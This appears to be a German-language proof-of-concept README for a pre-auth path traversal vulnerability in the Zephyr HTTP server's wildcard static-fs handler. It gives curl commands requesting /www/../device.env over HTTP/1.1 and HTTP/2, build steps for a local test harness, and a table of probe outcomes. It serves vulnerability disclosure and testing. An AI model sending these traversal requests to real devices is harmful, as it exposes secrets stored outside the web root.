
PoC for CVE-2026-8023: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Pre-Auth-Path-Traversal im static-fs-Handler des Zephyr-HTTP-Servers
(subsys/net/lib/http) bei Verwendung von Wildcard-Ressourcenabgleich
(CONFIG_HTTP_SERVER_RESOURCE_WILDCARD=y) mit
HTTP_RESOURCE_TYPE_STATIC_FS. Betrifft sowohl HTTP/1.1 als auch HTTP/2.
GHSA: GHSA-hch3-53g6-jj3h
b93e61d02d5cd08d2fc559feb0253f9de3491777 (v4.4.0-rc1-32-gb93e61d02d5)e55278a87be4e5534ba772b23e459882866bcd6d (2024-07-31)curl --http1.1 --path-as-is -i "http://$URL/www/../device.env"
curl --http2-prior-knowledge --path-as-is -i "http://$URL/www/../device.env"
git clone https://github.com/zephyrproject-rtos/zephyr.git
cd zephyr && git checkout b93e61d02d5cd08d2fc559feb0253f9de3491777 && cd ..
west init -l zephyr
west update
# Copy the contents of this repo's pocs/ into zephyr/pocs/
docker build -f zephyr/pocs/Dockerfile.native-sim -t zephyr-httpfs-zdi .
docker run --rm -it -v "$PWD":/work -w /work zephyr-httpfs-zdi bash
# Inside container:
west build -p always -b native_sim/native/64 \
zephyr/pocs/http_static_fs_native_sim \
-- -DEXTRA_DTC_OVERLAY_FILE=ramdisk.overlay
./build/zephyr/zephyr.exe
Die Testumgebung mountet ein LittleFS-Image, schreibt ein Geheimnis unter
/littlefs/device.env außerhalb des Web-Root-Verzeichnisses /littlefs/www/, legt eine
Wildcard-static-fs-Route frei und führt dann vier Loopback-Anfragen durch:
| Probe | Anfrage | Erwartet |
|---|
HTTP1_GLOB_TRAVERSAL | GET /www/../device.env (HTTP/1.1) | 200 + Geheimnis |
HTTP1_ENCODED_TRAVERSAL | GET /www/%2e%2e/device.env (HTTP/1.1) | 404 (keine Dekodierung) |
HTTP2_GLOB_TRAVERSAL | :path = /www/../device.env (HTTP/2) | Geheimnis-Bytes |
HTTP2_ENCODED_TRAVERSAL | :path = /www/%2e%2e/device.env (HTTP/2) | kein Geheimnis |